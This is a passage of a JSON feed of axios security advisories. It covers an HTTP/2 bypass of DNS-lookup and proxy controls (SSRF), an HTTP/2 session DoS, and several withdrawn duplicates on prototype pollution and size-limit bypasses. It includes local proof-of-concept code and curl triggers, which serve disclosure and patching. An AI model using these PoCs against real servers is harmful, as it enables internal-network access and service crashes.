variables.\n\n### PoC\n\nI attached [axios_http2_transport_controls_poc.mjs](https://drive.google.com/file/d/1lKXBOLDoysOFRmaRyV1tMVLx3P0Ah4gV/view?usp=sharing). The PoC is entirely local and sets up three pieces:\n\n1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns `REACHED_BLOCKED_ORIGIN`.\n2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with `502 Bad Gateway`.\n3. A custom Axios `lookup` callback that rejects every DNS lookup with an `EPOLICY` error.\n\nThe first request is an HTTP/1 control request. It uses the blocking `lookup` callback and has proxying disabled. Axios calls the callback, receives `EPOLICY`, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path.\n\nThe second request targets the same URL with `httpVersion: 2`. It is given both security controls: the same blocking `lookup` callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with `EPOLICY`, or it should reach the proxy and receive its `502` response.\n\nInstead, the request returns HTTP 200 with `REACHED_BLOCKED_ORIGIN`. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver.\n\nTo reproduce, run the attachment from the root of an Axios checkout:\n\nRun it from the root of an Axios checkout:\n\n```bash\ngit checkout v1.18.1\nnpm install --ignore-scripts\nnode /path/to/axios_http2_transport_controls_poc.mjs\n```\n\nRelevant output from my run:\n\n```json\n{\n  \"axiosVersion\": \"1.18.1\",\n  \"configuredControls\": {\n    \"lookup\": \"reject every DNS lookup with EPOLICY\",\n    \"proxy\": \"http://127.0.0.1:\u003cport\u003e (reject every request)\"\n  },\n  \"http1Control\": \"EPOLICY: blocked by application DNS policy\",\n  \"http2Result\": {\n    \"status\": 200,\n    \"data\": \"REACHED_BLOCKED_ORIGIN\"\n  },\n  \"lookupCalls\": 1,\n  \"proxyObservedTraffic\": false,\n  \"events\": [\n    {\n      \"server\": \"origin\",\n      \"protocol\": \"h2\",\n      \"path\": \"/internal\"\n    }\n  ]\n}\n```\n\nThe important parts of the output are:\n\n- `http1Control` contains `EPOLICY`, proving the DNS policy blocks the destination under HTTP/1.\n- `lookupCalls` is still `1` after both requests, proving HTTP/2 never called the configured resolver.\n- `proxyObservedTraffic` is `false`, proving HTTP/2 did not use the configured proxy.\n- `http2Result.status` is `200`, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination.\n\n### Impact\n\nThe vulnerable configuration is a Node.js application that:\n\n- enables Axios HTTP/2 using `httpVersion: 2`;\n- lets an application user influence the request destination; and\n- relies on Axios's `lookup` option or proxy routing to enforce a destination or egress policy.\n\nIn that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability.\n\nHTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that `lookup` and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios's threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation.\n\nI did not test against any third-party or production service. The PoC only uses listeners on my own machine.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T15:02:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-3pq3-5fj3-cg6v","https://nvd.nist.gov/vuln/detail/CVE-2026-101898","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-3pq3-5fj3-cg6v"],"source_kind":"github","identifiers":["GHSA-3pq3-5fj3-cg6v","CVE-2026-101898"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-10-02T09:00:13.561Z","epss_percentage":0.00527,"epss_percentile":0.42543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcHEzLTVmajMtY2c2ds4AB7Ks","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcHEzLTVmajMtY2c2ds4AB7Ks","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcHEzLTVmajMtY2c2ds4AB7Ks/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NDJnLWg0N20tNjh2OM4AB7Kr","url":"https://github.com/advisories/GHSA-542g-h47m-68v8","title":"Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization","description":"## Summary\n\nAxios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.\n\nThis affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.\n\n## Impact\n\nThe impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.\n\nThis does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.\n\n## Affected Functionality\n\nAffected path:\n\n- Node.js HTTP adapter\n- httpVersion: 2\n- HTTP/2 session creation/reuse through Http2Sessions\n- Network/session failures emitted as ClientHttp2Session error events\n\nCaller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.\n\n## Technical Details\n\nHttp2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.\n\nWhen the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.\n\n## Proof of Concept of Attack\n```js\nimport axios from './index.js';\n\nawait axios.get('http://127.0.0.1:1/', {\n  httpVersion: 2,\n  timeout: 1000\n});\n```\n\nExpected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.\n\n## Workarounds\n\nDisable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \nHi, i'm RelunSec a security researcher working with **InsiteTech.jp**\n\ni want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server\n\n```js\nconst http = require('http');\n// Import the local axios version to ensure the patch is active\nconst axios = require('../../lib/axios.js').default; \nconst url = require('url');\n\n// A public HTTP/2 server to make internal requests to.\n// This simulates an external service your application might interact with over HTTP/2.\nconst TARGET_URL = 'https://nghttp2.org/'; \nconst PORT = 3000;\n\nconst server = http.createServer(async (req, res) =\u003e {\n  const parsedUrl = url.parse(req.url, true);\n  const http2optionId = parsedUrl.query.http2optionId;\n\n  if (!http2optionId) {\n  console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);\n  res.writeHead(400, { 'Content-Type': 'text/plain' });\n  res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\\n');\n  return; \n}\n\n  console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);\n\n  // Create an Axios instance configured for HTTP/2\n  // The 'id' in http2Options makes each session configuration unique.\n  const axiosInstance = axios.create({\n    baseURL: TARGET_URL,\n    httpVersion: 2,\n    http2Options: {\n      // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert\n      id: http2optionId, // This is the attacker-controlled unique part\n    },\n    // Adding a short timeout to prevent attacker from waiting too long if target is slow\n    timeout: 5000 \n  });\n\n  try {\n    const response = await axiosInstance.get('/');\n    res.writeHead(200, { 'Content-Type': 'text/plain' });\n    res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\\nStatus: ${response.status}`);\n  } catch (error) {\n    // Check for the specific error indicating session limit reached\n    if (error.isAxiosError \u0026\u0026 error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {\n      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n      res.writeHead(500, { 'Content-Type': 'text/plain' });\n      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n    } else {\n      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);\n      res.writeHead(500, { 'Content-Type': 'text/plain' });\n      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);\n    }\n  }\n});\n\nserver.listen(PORT, () =\u003e {\n  console.log(`PoC Server listening on http://localhost:${PORT}`);\n  console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);\n  console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);\n  console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);\n});\n```\n\ni tested all that in latest git version, after starting the server.cjs, to trigger that you just need do\n\n```rust\nrelunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi\ncurl: (52) Empty reply from server\n```\n\nthat is extremly simple to trigger\n\nit confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T15:01:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-542g-h47m-68v8","https://nvd.nist.gov/vuln/detail/CVE-2026-101901","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-542g-h47m-68v8"],"source_kind":"github","identifiers":["GHSA-542g-h47m-68v8","CVE-2026-101901"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00384,"epss_percentile":0.29838,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NDJnLWg0N20tNjh2OM4AB7Kr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NDJnLWg0N20tNjh2OM4AB7Kr","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NDJnLWg0N20tNjh2OM4AB7Kr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OGpwLTQ0dmMtMng1aM4ABhCE","url":"https://github.com/advisories/GHSA-68jp-44vc-2x5h","title":"Duplicate Advisory: Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-gcfj-64vw-6mp9. This link is maintained to preserve external references.\n\n## Original Description\naxios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are \u003e=0.31.1 (fixed in 0.33.0) and \u003e=1.15.2 (fixed in 1.18.0).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-01T15:30:28.000Z","withdrawn_at":"2026-09-01T18:42:04.000Z","classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9","https://nvd.nist.gov/vuln/detail/CVE-2026-67320","https://github.com/axios/axios/commit/df53d7dd99b202fb194217abd127ae6a630e70dc","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter","https://github.com/advisories/GHSA-68jp-44vc-2x5h"],"source_kind":"github","identifiers":["GHSA-68jp-44vc-2x5h"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T19:00:09.640Z","updated_at":"2026-09-19T09:00:40.935Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGpwLTQ0dmMtMng1aM4ABhCE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OGpwLTQ0dmMtMng1aM4ABhCE","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGpwLTQ0dmMtMng1aM4ABhCE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zbWNwLTIybWYtdnJ3M84ABhCa","url":"https://github.com/advisories/GHSA-3mcp-22mf-vrw3","title":"Duplicate Advisory: Axios form serializer maxDepth bypass via {} metatoken","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-hcpx-6fm6-wx23. This link is maintained to preserve external references.\n\n## Original Description\naxios before 0.33.0 contains an incomplete depth-limit bypass in toFormData.js when serializing objects with top-level keys ending in '{}'. Attackers who control object keys and nested values passed to axios form or parameter serialization can trigger a RangeError from JSON.stringify, causing denial of service in the affected request path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:28.000Z","withdrawn_at":"2026-09-08T17:16:44.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23","https://nvd.nist.gov/vuln/detail/CVE-2026-67321","https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass","https://github.com/advisories/GHSA-3mcp-22mf-vrw3"],"source_kind":"github","identifiers":["GHSA-3mcp-22mf-vrw3"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T18:00:09.656Z","updated_at":"2026-09-19T09:00:31.798Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbWNwLTIybWYtdnJ3M84ABhCa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zbWNwLTIybWYtdnJ3M84ABhCa","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.15.1, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbWNwLTIybWYtdnJ3M84ABhCa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05d3gzLXA5OTMtMzV2cM4ABhCP","url":"https://github.com/advisories/GHSA-9wx3-p993-35vp","title":"Duplicate Advisory: Axios: Nested axios option objects can consume polluted prototype values","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7q8q-rj6j-mhjq. This link is maintained to preserve external references.\n\n## Original Description\naxios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:28.000Z","withdrawn_at":"2026-09-01T18:41:21.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq","https://nvd.nist.gov/vuln/detail/CVE-2026-67319","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-nested-option-objects","https://github.com/advisories/GHSA-9wx3-p993-35vp"],"source_kind":"github","identifiers":["GHSA-9wx3-p993-35vp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T19:00:09.640Z","updated_at":"2026-09-19T09:00:40.936Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05d3gzLXA5OTMtMzV2cM4ABhCP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05d3gzLXA5OTMtMzV2cM4ABhCP","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05d3gzLXA5OTMtMzV2cM4ABhCP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mcWozLWg5cGMtNDQzaM4ABhBv","url":"https://github.com/advisories/GHSA-fqj3-h9pc-443h","title":"Duplicate Advisory: Axios: HTTP/2 streamed uploads bypass `maxBodyLength`","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-mwf2-3pr3-8698. This link is maintained to preserve external references.\n\n## Original Description\n\naxios versions \u003e=1.13.0 (Node.js HTTP adapter) fail to enforce the configured maxBodyLength limit on streamed request bodies when requests are sent with httpVersion: 2. Because Node's HTTP/2 request API does not honor the maxBodyLength option and axios's byte-counting stream wrapper is gated on maxRedirects === 0, an attacker who controls a stream passed to axios can cause the application to transmit outbound data exceeding the configured finite maxBodyLength. Impact is limited to resource consumption and policy bypass (excess egress, upstream quota consumption, limited availability); it does not enable code execution, credential disclosure, or request-destination control. Calls using the default maxBodyLength: -1 and browser adapters are not affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-09-01T18:35:34.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698","https://nvd.nist.gov/vuln/detail/CVE-2026-67318","https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2","https://github.com/advisories/GHSA-fqj3-h9pc-443h"],"source_kind":"github","identifiers":["GHSA-fqj3-h9pc-443h"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T19:00:09.640Z","updated_at":"2026-09-19T09:00:40.939Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcWozLWg5cGMtNDQzaM4ABhBv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcWozLWg5cGMtNDQzaM4ABhBv","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcWozLWg5cGMtNDQzaM4ABhBv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aHFtLWhtMnYtM3AycM4ABhCL","url":"https://github.com/advisories/GHSA-6hqm-hm2v-3p2p","title":"Duplicate Advisory: Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f4gw-2p7v-4548. This link is maintained to preserve external references.\n\n## Original Description\naxios versions 1.15.0 before 1.18.0 fail to recognize 0.0.0.0 as a loopback address in shouldBypassProxy.js, allowing requests to 0.0.0.0 to bypass NO_PROXY rules. Attackers can supply 0.0.0.0 URLs to route requests through configured proxies, potentially exposing local services when the proxy can reach the destination.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-09-01T18:38:42.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548","https://nvd.nist.gov/vuln/detail/CVE-2026-67315","https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via","https://github.com/advisories/GHSA-6hqm-hm2v-3p2p"],"source_kind":"github","identifiers":["GHSA-6hqm-hm2v-3p2p"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T19:00:09.640Z","updated_at":"2026-09-19T09:00:40.938Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHFtLWhtMnYtM3AycM4ABhCL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aHFtLWhtMnYtM3AycM4ABhCL","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHFtLWhtMnYtM3AycM4ABhCL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY","url":"https://github.com/advisories/GHSA-38gx-cfqf-f652","title":"Duplicate Advisory: Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-xj6q-8x83-jv6g. This link is maintained to preserve external references.\n\n## Original Description\naxios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-08-07T17:51:06.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g","https://nvd.nist.gov/vuln/detail/CVE-2026-67314","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields","https://github.com/advisories/GHSA-38gx-cfqf-f652"],"source_kind":"github","identifiers":["GHSA-38gx-cfqf-f652"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T18:00:08.103Z","updated_at":"2026-09-19T09:01:03.371Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOWo1LXc0N20tMmdtds4ABhBu","url":"https://github.com/advisories/GHSA-39j5-w47m-2gmv","title":"Duplicate Advisory: Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-jqh4-m9w3-8hp9. This link is maintained to preserve external references.\n\n## Original Description\naxios versions 1.7.0 before 1.18.0 fail to enforce maxBodyLength for WHATWG ReadableStream request bodies in the fetch adapter when Content-Length cannot be determined. Attackers can supply unknown-length stream data to bypass upload size limits and cause uncontrolled network egress or resource exhaustion.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-09-01T18:37:49.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9","https://nvd.nist.gov/vuln/detail/CVE-2026-67317","https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream","https://github.com/advisories/GHSA-39j5-w47m-2gmv"],"source_kind":"github","identifiers":["GHSA-39j5-w47m-2gmv"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T19:00:09.640Z","updated_at":"2026-09-19T09:00:40.938Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOWo1LXc0N20tMmdtds4ABhBu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOWo1LXc0N20tMmdtds4ABhBu","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.7.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOWo1LXc0N20tMmdtds4ABhBu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mMnI1LXBxaDktcjhmOM4ABhCN","url":"https://github.com/advisories/GHSA-f2r5-pqh9-r8f8","title":"Duplicate Advisory: Axios: Prototype pollution gadgets can alter axios request construction","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-mmx7-hfxf-jppx. This link is maintained to preserve external references.\n\n## Original Description\naxios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level 